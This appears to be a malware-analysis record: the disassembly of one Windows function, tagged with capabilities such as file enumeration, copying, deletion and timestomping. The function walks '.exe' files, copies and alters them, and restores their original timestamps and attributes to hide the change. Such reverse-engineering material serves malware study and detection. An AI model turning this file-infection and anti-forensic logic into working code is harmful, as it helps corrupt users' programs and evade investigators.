Function at 0x4036df
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get file attributes
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
push ebx
push esi
push edi
xor esi, esi
push 0x104
lea eax, [ebp - 0x384]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.00403ee0
push dword [ebp + 8]
lea eax, [ebp - 0x384]
push eax
call fcn.00404440
lea eax, [ebp - 0x384]
push str..exe
push eax
call fcn.00404440
add esp, 0x1c
lea eax, [ebp - 0x4c4]
push eax
lea eax, [ebp - 0x384]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x4039cf
mov ebx, 0x40e07c
jmp 0x40374e
xor esi, esi
cmp dword [ebp - 4], esi
jne 0x403758
call fcn.00403ab1
cmp dword [ebp - 4], 0xa
jl 0x40376c
call fcn.00403ab1
mov dword [ebp - 4], 1
jmp 0x40376f
inc dword [ebp - 4]
push 0x104
lea eax, [ebp - 0x154]
push esi
push eax
call fcn.00403ee0
push dword [ebp + 8]
lea eax, [ebp - 0x154]
push eax
call fcn.00404440
lea eax, [ebp - 0x154]
push 0x40d10c
push eax
call fcn.00404440
lea eax, [ebp - 0x498]
push eax
lea eax, [ebp - 0x154]
push eax
call fcn.00404440
add esp, 0x24
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x154]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x50]
push 0xc0000000
push eax
lea eax, [ebp - 0x154]
push eax
call fcn.004039ec
test eax, eax
je 0x4039ae
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov edi, eax
neg edi
sbb edi, edi
neg edi
cmp dword [ebp - 0x50], esi
mov dword [ebp - 8], edi
je 0x4039e1
cmp word [ebp - 0x30], 0xf
jae 0x4039d6
sub esp, 0x28
lea esi, [ebp - 0x50]
push 0xa
pop ecx
mov edi, esp
push ebx
rep movsd dword es:[edi], dword [esi]
call fcn.00401f75
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x2c], 0
lea eax, [ebp - 0x154]
push 0
push eax
push ebx
call esi
test eax, eax
jne 0x40387b
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x154]
push 0
push eax
push ebx
call esi
test eax, eax
je 0x4039ae
mov edi, dword [ebp - 8]
cmp dword [ebp - 0x2c], 0
je 0x40388d
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x154]
push eax
call fcn.00403aed
test eax, eax
je 0x403949
push 0x12c
lea eax, [ebp - 0x280]
push 0
push eax
call fcn.00403ee0
lea eax, [ebp - 0x280]
push 0x40d320
push eax
call fcn.00404440
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x280]
push eax
call fcn.00404440
mov edi, 0x40d0b8
lea eax, [ebp - 0x280]
push edi
push eax
call fcn.00404440
lea eax, [ebp - 0x280]
push ebx
push eax
call fcn.00404440
lea eax, [ebp - 0x280]
push edi
push eax
call fcn.00404440
add esp, 0x34
lea eax, [ebp - 0x154]
push ebx
push eax
call fcn.004019ea
lea eax, [ebp - 0x154]
push 0
push eax
push ebx
call esi
test eax, eax
jne 0x40393f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x154]
push 0
push eax
push ebx
call esi
test eax, eax
je 0x4039ae
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [ebp - 8]
test edi, edi
je 0x40398d
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp - 0x154]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40398d
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc dword [0x40e074]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x4c4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40374c
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
pop ebx
leave
ret 4
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4039ae
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x40387e